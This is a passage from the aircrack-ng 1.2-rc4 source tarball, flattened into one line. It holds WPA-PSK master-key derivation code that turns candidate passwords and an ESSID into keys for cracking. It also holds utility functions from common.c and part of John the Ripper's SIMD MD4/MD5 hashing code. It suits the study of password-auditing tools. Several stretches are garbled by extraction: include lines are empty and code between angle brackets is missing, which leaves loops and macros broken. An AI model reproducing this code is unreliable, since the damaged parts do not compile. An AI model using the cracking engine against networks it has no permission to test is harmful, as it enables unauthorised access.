SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT); SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt2, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT); for (j = 0; j < NBKEYS; j++) { #ifdef SIMD_CORE unsigned *p = &((unsigned int*)t_sse_hash1)[(((j/SIMD_COEF_32)*SHA_BUF_SIZ)*SIMD_COEF_32) + (j&(SIMD_COEF_32-1))]; for(k = 5; k < 8; k++) outbuf[j].i[k] ^= p[((k-5)*SIMD_COEF_32)]; #else unsigned *p = &((unsigned int*)t_sse_hash1)[(((j>>2)*SHA_BUF_SIZ)<<2) + (j&(MMX_COEF-1))]; for(k = 5; k < 8; k++) outbuf[j].i[k] ^= p[((k-5)<<(MMX_COEF>>1))]; #endif } } for (j = 0; j < NBKEYS; ++j) { // the BE() convert should be done in binary, BUT since we use 'common' code for // binary(), which is shared between CPU and CUDA/OPenCL, we have to do it here. memset(tmpbuf, 0, 32); memcpy(tmpbuf, outbuf[j].c, 32); #ifdef XDEBUG printf("%d tmpbuf = ", threadid); for (prloop = 0; prloop < 32; prloop++) printf( "%02X:", tmpbuf[prloop] ); printf("\n"); #endif if (j == 0) { memcpy(xpmk1[threadid], tmpbuf, 32); #ifdef XDEBUG printf("xpmk1[%d] = ", threadid); for (prloop = 0; prloop < 32; prloop++) printf( "%02X:", xpmk1[threadid][prloop] ); printf("\n"); #endif alter_endianity_to_BE(xpmk1[threadid],32); } if (j == 1) { memcpy(xpmk2[threadid], tmpbuf, 32); #ifdef XDEBUG printf("xpmk2[%d] = ", threadid); for (prloop = 0; prloop < 32; prloop++) printf( "%02X:", xpmk2[threadid][prloop] ); printf("\n"); #endif alter_endianity_to_BE(xpmk2[threadid],32); } if (j == 2) { memcpy(xpmk3[threadid], tmpbuf, 32); #ifdef XDEBUG printf("xpmk3[%d] = ", threadid); for (prloop = 0; prloop < 32; prloop++) printf( "%02X:", xpmk3[threadid][prloop] ); printf("\n"); #endif alter_endianity_to_BE(xpmk3[threadid],32); } if (j == 3) { memcpy(xpmk4[threadid], tmpbuf, 32); #ifdef XDEBUG printf("xpmk4[%d] = ", threadid); for (prloop = 0; prloop < 32; prloop++) printf( "%02X:", xpmk4[threadid][prloop] ); printf("\n"); #endif alter_endianity_to_BE(xpmk4[threadid],32); } if (j == 4) { memcpy(xpmk5[threadid], tmpbuf, 32); alter_endianity_to_BE(xpmk5[threadid],32); } if (j == 5) { memcpy(xpmk6[threadid], tmpbuf, 32); alter_endianity_to_BE(xpmk6[threadid],32); } if (j == 6) { memcpy(xpmk7[threadid], tmpbuf, 32); alter_endianity_to_BE(xpmk7[threadid],32); } if (j == 7) { memcpy(xpmk8[threadid], tmpbuf, 32); alter_endianity_to_BE(xpmk8[threadid],32); } } } return; } void init_atoi() { char *pos; memset(atoi64, 0x7F, sizeof(atoi64)); for (pos = itoa64; pos <= &itoa64[63]; pos++) atoi64[ARCH_INDEX(*pos)] = pos - itoa64; } //#define XDEBUG 1 //#define ODEBUG 1 int init_wpapsk(char (*key)[128], char *essid, int threadid) { #ifdef ODEBUG int prloop = 0; #endif int i = 0; static int count = 0; static unsigned char *lpmk1 = NULL, *lpmk2 = NULL, *lpmk3 = NULL, *lpmk4 = NULL; static unsigned char *lpmk5 = NULL, *lpmk6 = NULL, *lpmk7 = NULL, *lpmk8 = NULL; static wpapsk_password *inbuffer; //table for candidate passwords (pointer to threads copy) lpmk1 = xpmk1[threadid]; lpmk2 = xpmk2[threadid]; lpmk3 = xpmk3[threadid]; lpmk4 = xpmk4[threadid]; lpmk5 = xpmk5[threadid]; lpmk6 = xpmk6[threadid]; lpmk7 = xpmk7[threadid]; lpmk8 = xpmk8[threadid]; inbuffer = wpapass[threadid]; for (; i < cpuinfo.simdsize; i++) { memset(inbuffer[i].v, 0, sizeof(inbuffer[i].v)); inbuffer[i].length = 0; } for (i = 0; i < 8; ++i) { if (key[i][0] != 0) { set_key(key[i], i, inbuffer); #ifdef XDEBUG printf("key%d (inbuffer) = %s\n", i+1, inbuffer[i].v); #endif count = i + 1; } } #ifdef XDEBUG // printf("%d key (%s) (%s) (%s) (%s)\n",threadid, key1,key2,key3,key4); #endif memset(&lpmk1[threadid], 0, 32); memset(&lpmk2[threadid], 0, 32); memset(&lpmk3[threadid], 0, 32); memset(&lpmk4[threadid], 0, 32); memset(&lpmk5[threadid], 0, 32); memset(&lpmk6[threadid], 0, 32); memset(&lpmk7[threadid], 0, 32); memset(&lpmk8[threadid], 0, 32); wpapsk_sse(threadid, count, essid, inbuffer); return 0; } aircrack-ng-1.2-rc4/src/common.c0000644000000000000000000003024712660207441015154 0ustar rootroot/* * Common functions for all aircrack-ng tools * * Copyright (C) 2006-2016 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__) #include #include #endif #if (defined(_WIN32) || defined(_WIN64)) || defined(__CYGWIN32__) #include #include #include #endif #define isHex(c) (hexToInt(c) != -1) #define HEX_BASE 16 /* * The following function comes from jumbo.c from JTR. * It has the following license: * * This file is Copyright (c) 2013-2014 magnum, Lukasz and JimF, * and is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without * modifications, are permitted. */ #if defined (__CYGWIN32__) && !defined(__CYGWIN64__) int fseeko64(FILE* fp, int64_t offset, int whence) { fpos_t pos; if (whence == SEEK_CUR) { if (fgetpos (fp, &pos)) return (-1); pos += (fpos_t) offset; } else if (whence == SEEK_END) { /* If writing, we need to flush before getting file length. */ long long size; fflush (fp); size = 0; GetFileSizeEx((HANDLE)_get_osfhandle(fileno(fp)), (PLARGE_INTEGER)&size); pos = (fpos_t) (size + offset); } else if (whence == SEEK_SET) pos = (fpos_t) offset; else { errno = EINVAL; return (-1); } return fsetpos (fp, &pos); } int64_t ftello64(FILE * fp) { fpos_t pos; if (fgetpos(fp, &pos)) return -1LL; return (int64_t)pos; } #endif /* * Print the time and percentage in readable format */ void calctime(time_t t, float perc) { int days = 0, hours = 0, mins = 0, secs = 0, remain = 0, printed = 0; char buf[8]; days = t / 86400; remain = t % 86400; hours = remain / 3600; remain = remain % 3600; mins = remain / 60; secs = remain % 60; if (days) printed += printf("%d day%s, ", days, (days>1?"s":"")); if (hours) printed += printf("%d hour%s, ", hours, (hours>1?"s":"")); if (mins) printed += printf("%d minute%s, ", mins, (mins>1?"s":"")); snprintf(buf, sizeof(buf), "%3.2f%%", perc); printed += printf("%d second%s", secs, (secs!=1?"s":"")); printf("%*s %s\n", (int)(47-(printed+strlen(buf)%5))," ", buf); } int is_string_number(const char * str) { int i; if (str == NULL) { return 0; } if (*str != '-' && !(isdigit((int)(*str)))) { return 0; } for (i = 1; str[i] != 0; i++) { if (!isdigit((int)(str[i]))) { return 0; } } return 1; } int get_ram_size(void) { int ret = -1; #if defined(__FreeBSD__) int mib[] = { CTL_HW, HW_PHYSMEM }; size_t len; unsigned long physmem; len = sizeof(physmem); if (!sysctl(mib, 2, &physmem, &len, NULL, 0)) ret = (physmem/1024); // Linux returns memory size in kB, so we want to as well. #elif defined(_WIN32) || defined(_WIN64) MEMORYSTATUSEX statex; statex.dwLength = sizeof(statex); GlobalMemoryStatusEx(&statex); ret = (int)(statex.ullTotalPhys/1024); #else FILE *fp; char str[256]; int val = 0; if (!(fp = fopen("/proc/meminfo", "r"))) { perror("fopen fails on /proc/meminfo"); return ret; } memset(str, 0x00, sizeof(str)); while ((fscanf(fp, "%s %d", str, &val)) != 0 && ret == -1) { if (!(strncmp(str, "MemTotal", 8))) { ret = val; } } fclose(fp); #endif return ret; } /* Return the version number */ char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc) { int len; char * temp; char * provis = calloc(1,20); len = strlen(progname) + 200; temp = (char *) calloc(1,len); snprintf(temp, len, "%s %d.%d", progname, maj, min); if (submin > 0) { snprintf(provis, 20,".%d",submin); strncat(temp, provis, len - strlen(temp)); memset(provis,0,20); } if (rc > 0) { snprintf(provis, 20, " rc%d", rc); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } else if (beta > 0) { snprintf(provis, 20, " beta%d", beta); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } if (svnrev > 0) { snprintf(provis, 20," r%d",svnrev); strncat(temp, provis, len - strlen(temp)); memset(provis, 0, 20); } free(provis); temp = realloc(temp, strlen(temp)+1); return temp; } // Return the number of cpu. If detection fails, it will return -1; int get_nb_cpus() { int number = -1; #if defined(_WIN32) || defined(_WIN64) SYSTEM_INFO sysinfo = {0}; GetSystemInfo(&sysinfo); number = sysinfo.dwNumberOfProcessors; #elif defined(__linux__) char * s, * pos; FILE * f; // Reading /proc/cpuinfo is more reliable on current CPUs, // so put it first and try the old method if this one fails f = fopen("/proc/cpuinfo", "r"); if (f != NULL) { s = (char *)calloc(1, 81); if (s != NULL) { // Get the latest value of "processor" element // and increment it by 1 and it that value // will be the number of CPU. number = -2; while (fgets(s, 80, f) != NULL) { pos = strstr(s, "processor"); if (pos == s) { pos = strchr(s, ':'); number = atoi(pos + 1); } } ++number; free(s); } fclose(f); } #elif defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__) // Not sure about defined(__DragonFly__) || defined(__NetBSD__) || defined(__OpenBSD__) || defined(__APPLE__) int mib[] = { CTL_HW, HW_NCPU }; size_t len; unsigned long nbcpu; len = sizeof(nbcpu); if (!sysctl(mib, 2, &nbcpu, &len, NULL, 0)) { number = (int)nbcpu; } #endif #ifdef _SC_NPROCESSORS_ONLN // Try the usual method if _SC_NPROCESSORS_ONLN exist if (number == -1) { number = sysconf(_SC_NPROCESSORS_ONLN); /* Fails on some archs */ if (number < 1) { number = -1; } } #endif return number; } //compares two MACs int maccmp(unsigned char *mac1, unsigned char *mac2) { int i=0; if(mac1 == NULL || mac2 == NULL) return -1; for(i=0; i<6; i++) { if( toupper(mac1[i]) != toupper(mac2[i]) ) return -1; } return 0; } // Converts a mac address in a human-readable format char * mac2string(unsigned char *mac_address ) { char * mac_string = (char *)malloc(sizeof(char)*18); snprintf(mac_string, 18, "%02X:%02X:%02X:%02X:%02X:%02X", *mac_address, *(mac_address+1), *(mac_address+2), *(mac_address+3), *(mac_address+4), *(mac_address+5)); return mac_string; } /* Return -1 if it's not an hex value and return its value when it's a hex value */ int hexCharToInt(unsigned char c) { static int table_created = 0; static int table[256]; int i; if (table_created == 0) { /* * It may seem a bit long to calculate the table * but character position depend on the charset used * Example: EBCDIC * but it's only done once and then conversion will be really fast */ for (i=0; i < 256; i++) { switch ((unsigned char)i) { case '0': table[i] = 0; break; case '1': table[i] = 1; break; case '2': table[i] = 2; break; case '3': table[i] = 3; break; case '4': table[i] = 4; break; case '5': table[i] = 5; break; case '6': table[i] = 6; break; case '7': table[i] = 7; break; case '8': table[i] = 8; break; case '9': table[i] = 9; break; case 'A': case 'a': table[i] = 10; break; case 'B': case 'b': table[i] = 11; break; case 'C': case 'c': table[i] = 12; break; case 'D': case 'd': table[i] = 13; break; case 'E': case 'e': table[i] = 14; break; case 'F': case 'f': table[i] = 15; break; default: table[i] = -1; } } table_created = 1; } return table[c]; } // in: input string // in_length: length of the string // out: output string (needs to be already allocated). // out_length: length of the array // returns amount of bytes saved to 'out' or -1 if an error happened int hexStringToArray(char* in, int in_length, unsigned char* out, int out_length) { int i, out_pos; int chars[2]; char *input=in; unsigned char *output=out; if (in_length < 2 || out_length < (in_length / 3) + 1 || input == NULL || output == NULL) return -1; out_pos = 0; for (i = 0; i < in_length - 1; ++i) { if(input[i] == '-' || input[i] == ':' || input[i] == '_' || input[i] == ' ' || input[i] == '.') { continue; } // Check output array is big enough if(out_pos >= out_length) { return -1; } chars[0] = hexCharToInt(input[i]); // If first char is invalid (or '\0'), don't bother continuing (and you really shouldn't). if(chars[0] < 0 || chars[0] > 15) return -1; chars[1] = hexCharToInt(input[++i]); // It should always be a multiple of 2 hex characters with or without separator if(chars[1] < 0 || chars[1] > 15) return -1; output[out_pos++] = ((chars[0] << 4) + chars[1]) & 0xFF; } return out_pos; } //Return the mac address bytes (or null if it's not a mac address) int getmac(char * macAddress, int strict, unsigned char * mac) { char byte[3]; int i, nbElem, n; if (macAddress == NULL) return 1; /* Minimum length */ if ((int)strlen(macAddress) < 12) return 1; memset(mac, 0, 6); byte[2] = 0; i = nbElem = 0; while (macAddress[i] != 0) { if (macAddress[i] == '\n' || macAddress[i] == '\r') break; byte[0] = macAddress[i]; byte[1] = macAddress[i+1]; if (sscanf( byte, "%x", &n ) != 1 && strlen(byte) == 2) return 1; if (hexCharToInt(byte[1]) < 0) return 1; mac[nbElem] = n; i+=2; nbElem++; if (macAddress[i] == ':' || macAddress[i] == '-' || macAddress[i] == '_') i++; } if ((strict && nbElem != 6) || (!strict && nbElem > 6)) return 1; return 0; } // Read a line of characters inputted by the user int readLine(char line[], int maxlength) { int c; int i = -1; do { // Read char c = getchar(); if (c == EOF) c = '\0'; line[++i] = (char)c; if (line[i] == '\n') break; if (line[i] == '\r') break; if (line[i] == '\0') break; } while (i + 1 < maxlength); // Stop at 'Enter' key pressed or EOF or max number of char read // Return current size return i; } int hexToInt(char s[], int len) { int i = 0; int convert = -1; int value = 0; // Remove leading 0 (and also the second char that can be x or X) while (i < len) { if (s[i] != '0' || (i == 1 && toupper((int)s[i]) != 'X')) break; ++i; } // Convert to hex while (i < len) { convert = hexCharToInt((unsigned char)s[i]); // If conversion failed, return -1 if (convert == -1) return -1; value = (value * HEX_BASE) + convert; ++i; } return value; } aircrack-ng-1.2-rc4/src/simd-intrinsics.c0000644000000000000000000025563212640667310017015 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This software is * Copyright (c) 2010 bartavelle, , * Copyright (c) 2012 Solar Designer, * Copyright (c) 2011-2015 JimF, * Copyright (c) 2011-2015 magnum, * and it is hereby released to the general public under the following terms: * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * SHA-2 Copyright 2013, epixoip. Redistribution and use in source and binary * forms, with or without modification, are permitted provided that * redistribution of source retains the above copyright. */ #include #include "arch.h" #include "pseudo_intrinsics.h" #include "memory.h" #include "md5.h" #include "MD5_std.h" #include "stdint.h" #include "johnswap.h" #include "simd-intrinsics-load-flags.h" #include "aligned.h" #include "misc.h" #include "memdbg.h" /* Shorter names for use in index calculations */ #define VS32 SIMD_COEF_32 #define VS64 SIMD_COEF_64 #if SIMD_PARA_MD5 #define MD5_SSE_NUM_KEYS (SIMD_COEF_32*SIMD_PARA_MD5) #define MD5_PARA_DO(x) for((x)=0;(x)= 8) || defined(__i386__) || defined(__ARM_NEON__) #define BITALIGN(hi, lo, s) ((((uint64_t)(hi) << 32) | (lo)) >> (s)) #else #define BITALIGN(hi, lo, s) (((hi) << (32 - (s))) | ((lo) >> (s))) #endif static MAYBE_INLINE void mmxput3(void *buf, unsigned int bid, unsigned int *offset, unsigned int mult, unsigned int saltlen, void *src) { unsigned int j; MD5_PARA_DO(j) { unsigned int i; unsigned int jm = j * VS32 * 4; unsigned char *nbuf = ((unsigned char *)buf) + bid * (64 * MD5_SSE_NUM_KEYS) + jm * 16; unsigned int *s = (unsigned int *)src + jm; for (i = 0; i < VS32; i++, s++) { unsigned int n = offset[i + jm / 4] * mult + saltlen; unsigned int *d = (unsigned int *)(nbuf + (n & ~3U) * VS32) + i; switch (n &= 3) { case 0: d[0] = s[0]; d[1 * VS32] = s[1 * VS32]; d[2 * VS32] = s[2 * VS32]; d[3 * VS32] = s[3 * VS32]; break; #if 0 default: n <<= 3; { unsigned int m = 32 - n; d[0] = (d[0] & (0xffffffffU >> m)) | (s[0] << n); d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], m); d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], m); d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], m); d[4 * VS32] = (d[4 * VS32] & (0xffffffffU << n)) | (s[3 * VS32] >> m); } #else case 1: d[0] = (d[0] & 0xffU) | (s[0] << 8); d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 24); d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 24); d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 24); d[4 * VS32] = (d[4 * VS32] & 0xffffff00U) | (s[3 * VS32] >> 24); break; case 2: d[0] = (d[0] & 0xffffU) | (s[0] << 16); d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 16); d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 16); d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 16); d[4 * VS32] = (d[4 * VS32] & 0xffff0000U) | (s[3 * VS32] >> 16); break; case 3: d[0] = (d[0] & 0xffffffU) | (s[0] << 24); d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 8); d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 8); d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 8); d[4 * VS32] = (d[4 * VS32] & 0xff000000U) | (s[3 * VS32] >> 8); #endif } } } } static MAYBE_INLINE void dispatch(unsigned char buffers[8][64*MD5_SSE_NUM_KEYS], unsigned int f[4*MD5_SSE_NUM_KEYS], unsigned int length[MD5_SSE_NUM_KEYS], unsigned int saltlen) { unsigned int i, j; unsigned int bufferid; i = 1000 / 42; j = 0; do { switch(j) { case 0: bufferid = 0; mmxput2(buffers, bufferid, f); break; case 21: bufferid = 1; mmxput3(buffers, bufferid, length, 1, 0, f); break; case 3: case 9: case 15: case 27: case 33: case 39: bufferid = 2; mmxput3(buffers, bufferid, length, 2, 0, f); break; case 6: case 12: case 18: case 24: case 30: case 36: bufferid = 3; mmxput2(buffers, bufferid, f); break; case 7: case 35: bufferid = 4; mmxput3(buffers, bufferid, length, 1, saltlen, f); break; case 14: case 28: bufferid = 5; mmxput2(buffers, bufferid, f); break; case 2: case 4: case 8: case 10: case 16: case 20: case 22: case 26: case 32: case 34: case 38: case 40: bufferid = 6; mmxput2(buffers, bufferid, f); break; default: bufferid = 7; mmxput3(buffers, bufferid, length, 2, saltlen, f); break; } SIMDmd5body((vtype*)&buffers[bufferid], f, NULL, SSEi_MIXED_IN); if (j++ < 1000 % 42 - 1) continue; if (j == 1000 % 42) { if (!i) break; i--; continue; } if (j >= 42) j = 0; } while (1); } void md5cryptsse(unsigned char pwd[MD5_SSE_NUM_KEYS][16], unsigned char *salt, char *out, unsigned int md5_type) { unsigned int length[MD5_SSE_NUM_KEYS]; unsigned int saltlen; unsigned int i,j; MD5_CTX ctx; MD5_CTX tctx; JTR_ALIGN(MEM_ALIGN_SIMD) unsigned char buffers[8][64*MD5_SSE_NUM_KEYS] = { { 0 } }; JTR_ALIGN(MEM_ALIGN_SIMD) unsigned int F[4*MD5_SSE_NUM_KEYS]; saltlen = strlen((char*)salt); for(i=0;i>=1) if(j&1) MD5_Update(&ctx, "\0", 1); else MD5_Update(&ctx, pwd[i], 1); MD5_Final((unsigned char*)tf, &ctx); F[i/VS32*4*VS32 + (i&(VS32-1)) + 0*VS32] = tf[0]; F[i/VS32*4*VS32 + (i&(VS32-1)) + 1*VS32] = tf[1]; F[i/VS32*4*VS32 + (i&(VS32-1)) + 2*VS32] = tf[2]; F[i/VS32*4*VS32 + (i&(VS32-1)) + 3*VS32] = tf[3]; } dispatch(buffers, F, length, saltlen); memcpy(out, F, MD5_SSE_NUM_KEYS*16); } #endif /* SIMD_PARA_MD5 */ #if SIMD_PARA_MD4 #define MD4_SSE_NUM_KEYS (SIMD_COEF_32*SIMD_PARA_MD4) #define MD4_PARA_DO(x) for((x)=0;(x)> 15) | (hash[1] << 17); hash[1] -= SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]); hash[1] = (hash[1] >> 15) | (hash[1] << 17); hash[1] -= SQRT_3; } void md4_unreverse(uint32_t *hash) { hash[1] += SQRT_3; hash[1] = (hash[1] >> 17) | (hash[1] << 15); hash[1] += SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]); hash[1] = (hash[1] >> 17) | (hash[1] << 15); hash[3] += INIT_D; hash[2] += INIT_C; hash[1] += INIT_B; hash[0] += INIT_A; } #undef SQRT_3 #undef INIT_D #undef INIT_C #undef INIT_B #undef INIT_A void SIMDmd4body(vtype* _data, unsigned int *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags) { vtype w[16*SIMD_PARA_MD4]; vtype a[SIMD_PARA_MD4]; vtype b[SIMD_PARA_MD4]; vtype c[SIMD_PARA_MD4]; vtype d[SIMD_PARA_MD4]; vtype tmp[SIMD_PARA_MD4]; #if (SIMD_PARA_MD4 < 3 || VCMOV_EMULATED) && !__AVX512F__ vtype tmp2[SIMD_PARA_MD4]; #endif vtype cst; unsigned int i; vtype *data; if(SSEi_flags & SSEi_FLAT_IN) { // Move _data to __data, mixing it SIMD_COEF_32 wise. #if __SSE4_1__ || __MIC__ unsigned k; vtype *W = w; ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data; MD4_PARA_DO(k) { if (SSEi_flags & SSEi_4BUF_INPUT) { for (i=0; i < 16; ++i) { GATHER_4x(W[i], saved_key, i); } saved_key += (VS32<<6); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (i=0; i < 16; ++i) { GATHER_2x(W[i], saved_key, i); } saved_key += (VS32<<5); } else { for (i=0; i < 16; ++i) { GATHER(W[i], saved_key, i); } saved_key += (VS32<<4); } W += 16; } #else unsigned j, k; ARCH_WORD_32 *p = (ARCH_WORD_32*)w; vtype *W = w; ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data; MD4_PARA_DO(k) { if (SSEi_flags & SSEi_4BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<6)+j]; saved_key += (VS32<<6); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<5)+j]; saved_key += (VS32<<5); } else { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<4)+j]; saved_key += (VS32<<4); } W += 16; } #endif // now set our data pointer to point to this 'mixed' data. data = w; } else data = _data; if((SSEi_flags & SSEi_RELOAD)==0) { MD4_PARA_DO(i) { a[i] = vset1_epi32(0x67452301); b[i] = vset1_epi32(0xefcdab89); c[i] = vset1_epi32(0x98badcfe); d[i] = vset1_epi32(0x10325476); } } else { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { MD4_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]); b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]); c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]); d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]); } } else { MD4_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*4*VS32+0*VS32]); b[i] = vload((vtype*)&reload_state[i*4*VS32+1*VS32]); c[i] = vload((vtype*)&reload_state[i*4*VS32+2*VS32]); d[i] = vload((vtype*)&reload_state[i*4*VS32+3*VS32]); } } } /* Round 1 */ cst = vsetzero(); MD4_STEP(MD4_F, a, b, c, d, 0, cst, 3) MD4_STEP(MD4_F, d, a, b, c, 1, cst, 7) MD4_STEP(MD4_F, c, d, a, b, 2, cst, 11) MD4_STEP(MD4_F, b, c, d, a, 3, cst, 19) MD4_STEP(MD4_F, a, b, c, d, 4, cst, 3) MD4_STEP(MD4_F, d, a, b, c, 5, cst, 7) MD4_STEP(MD4_F, c, d, a, b, 6, cst, 11) MD4_STEP(MD4_F, b, c, d, a, 7, cst, 19) MD4_STEP(MD4_F, a, b, c, d, 8, cst, 3) MD4_STEP(MD4_F, d, a, b, c, 9, cst, 7) MD4_STEP(MD4_F, c, d, a, b, 10, cst, 11) MD4_STEP(MD4_F, b, c, d, a, 11, cst, 19) MD4_STEP(MD4_F, a, b, c, d, 12, cst, 3) MD4_STEP(MD4_F, d, a, b, c, 13, cst, 7) MD4_STEP(MD4_F, c, d, a, b, 14, cst, 11) MD4_STEP(MD4_F, b, c, d, a, 15, cst, 19) /* Round 2 */ cst = vset1_epi32(0x5A827999L); MD4_STEP(MD4_G, a, b, c, d, 0, cst, 3) MD4_STEP(MD4_G, d, a, b, c, 4, cst, 5) MD4_STEP(MD4_G, c, d, a, b, 8, cst, 9) MD4_STEP(MD4_G, b, c, d, a, 12, cst, 13) MD4_STEP(MD4_G, a, b, c, d, 1, cst, 3) MD4_STEP(MD4_G, d, a, b, c, 5, cst, 5) MD4_STEP(MD4_G, c, d, a, b, 9, cst, 9) MD4_STEP(MD4_G, b, c, d, a, 13, cst, 13) MD4_STEP(MD4_G, a, b, c, d, 2, cst, 3) MD4_STEP(MD4_G, d, a, b, c, 6, cst, 5) MD4_STEP(MD4_G, c, d, a, b, 10, cst, 9) MD4_STEP(MD4_G, b, c, d, a, 14, cst, 13) MD4_STEP(MD4_G, a, b, c, d, 3, cst, 3) MD4_STEP(MD4_G, d, a, b, c, 7, cst, 5) MD4_STEP(MD4_G, c, d, a, b, 11, cst, 9) MD4_STEP(MD4_G, b, c, d, a, 15, cst, 13) /* Round 3 */ cst = vset1_epi32(0x6ED9EBA1L); MD4_STEP(MD4_H, a, b, c, d, 0, cst, 3) MD4_STEP(MD4_H2, d, a, b, c, 8, cst, 9) MD4_STEP(MD4_H, c, d, a, b, 4, cst, 11) MD4_STEP(MD4_H2, b, c, d, a, 12, cst, 15) MD4_STEP(MD4_H, a, b, c, d, 2, cst, 3) MD4_STEP(MD4_H2, d, a, b, c, 10, cst, 9) MD4_STEP(MD4_H, c, d, a, b, 6, cst, 11) MD4_STEP(MD4_H2, b, c, d, a, 14, cst, 15) MD4_STEP(MD4_H, a, b, c, d, 1, cst, 3) MD4_STEP(MD4_H2, d, a, b, c, 9, cst, 9) MD4_STEP(MD4_H, c, d, a, b, 5, cst, 11) if (SSEi_flags & SSEi_REVERSE_STEPS) { MD4_REV_STEP(MD4_H2, b, c, d, a, 13, cst, 15) MD4_PARA_DO(i) { vstore((vtype*)&out[i*4*VS32+1*VS32], b[i]); } return; } MD4_STEP(MD4_H2, b, c, d, a, 13, cst, 15) MD4_STEP(MD4_H, a, b, c, d, 3, cst, 3) MD4_STEP(MD4_H2, d, a, b, c, 11, cst, 9) MD4_STEP(MD4_H, c, d, a, b, 7, cst, 11) MD4_STEP(MD4_H2, b, c, d, a, 15, cst, 15) if((SSEi_flags & SSEi_RELOAD)==0) { MD4_PARA_DO(i) { a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301)); b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89)); c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe)); d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476)); } } else { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { MD4_PARA_DO(i) { a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*16*VS32+0*VS32])); b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*16*VS32+1*VS32])); c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*16*VS32+2*VS32])); d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*16*VS32+3*VS32])); } } else { MD4_PARA_DO(i) { a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*4*VS32+0*VS32])); b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*4*VS32+1*VS32])); c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*4*VS32+2*VS32])); d[i] = 